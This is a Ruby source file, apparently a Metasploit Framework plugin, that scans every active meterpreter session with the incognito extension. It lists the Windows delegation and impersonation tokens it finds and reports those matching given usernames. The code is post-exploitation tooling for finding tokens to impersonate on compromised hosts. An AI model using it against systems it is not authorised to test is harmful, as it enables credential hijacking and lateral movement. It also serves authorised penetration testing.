#
# $Id: token_hunter.rb 9212 2010-05-03 17:13:09Z jduck $
# $Revision: 9212 $
#

module Msf

class Plugin::TokenHunter < Msf::Plugin

	class TokenCommandDispatcher
		include Msf::Ui::Console::CommandDispatcher

		def name
			"Token Hunter"
		end

		def commands
			{
				'token_hunt_user'        => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users"
			}
		end

		def cmd_token_hunt_user(*args)

			opts = Rex::Parser::Arguments.new(
				"-h"   => [ false,  "This help menu"],
				"-f"   => [ true,   "A file containing a list of users to search for (one per line)"]
			)

			opt_userfile  = nil
			opt_users     = []

			opts.parse(args) do |opt, idx, val|
				case opt
				when "-h"
					print_line("Usage: token_hunt_user [options] <username> [username] .. [username]")
					print_line(opts.usage)
					return
				when "-f"
					opt_userfile = val
				else
					opt_users << val
				end
			end

			if(opt_userfile)
				::File.open(opt_userfile, "rb") do |fd|
					fd.each_line do |line|
						line.strip!
						next if line.empty?
						next if line =~ /^#/
						opt_users << line
					end
				end
			end

			opt_users.uniq!

			tokens_del = {}
			tokens_imp = {}

			framework.sessions.each_key do |sid|
				session = framework.sessions[sid]
				next if session.type != "meterpreter"

				print_status(">> Scanning session #{session.sid} / #{session.tunnel_peer}")

				if(! session.incognito)
					session.core.use("incognito")
				end

				if(! session.incognito)
					print_status("!! Failed to load incognito on #{session.sid} / #{session.tunnel_peer}")
					next
				end

				res = session.incognito.incognito_list_tokens(0)
				if(res)
					res["delegation"].split("\n").each do |user|

						opt_users.each do |needle|

							ndom,nusr = needle.split("\\")
							if(not nusr)
								nusr = ndom
								ndom = nil
							end

							if(ndom and user.strip.downcase == needle.strip.downcase)
								print_status("FOUND: #{session.sid} - #{session.tunnel_peer} - #{user} (delegation)")
								next
							end

							fdom,fusr = user.split("\\")

							if (! ndom and fusr.strip.downcase == nusr.strip.downcase)
								print_status("FOUND: #{session.sid} - #{session.tunnel_peer} - #{user} (delegation)")
							end
						end

						tokens_del[user] ||= []
						tokens_del[user] << session.sid
					end


					res["impersonation"].split("\n").each do |user|

						opt_users.each do |needle|
							ndom,nusr = needle.split("\\")
							if(not nusr)
								nusr = ndom
								ndom = nil
							end

							if(ndom and user.strip.downcase == needle.strip.downcase)
								print_status(">> Found #{session.sid} - #{session.tunnel_peer} - #{user} (impersonation)")
								next
							end

							fdom,fusr = user.split("\\")
							if (! ndom and fusr.strip.downcase == nusr.strip.downcase)
								print_status(">> Found #{session.sid} - #{session.tunnel_peer} - #{user} (impersonation)")
							end
						end

						tokens_imp[user] ||= []
						tokens_imp[user] << session.sid
					end
				end
			end
		end
	end


	def initialize(framework, opts)
		super
		add_console_dispatcher(TokenCommandDispatcher)
	end

	def cleanup
		remove_console_dispatcher('Token Hunter')
	end

	def name
		"token_hunter"
	end

	def desc
		"Search all active meterpreter sessions for specific tokens"
	end
end
end

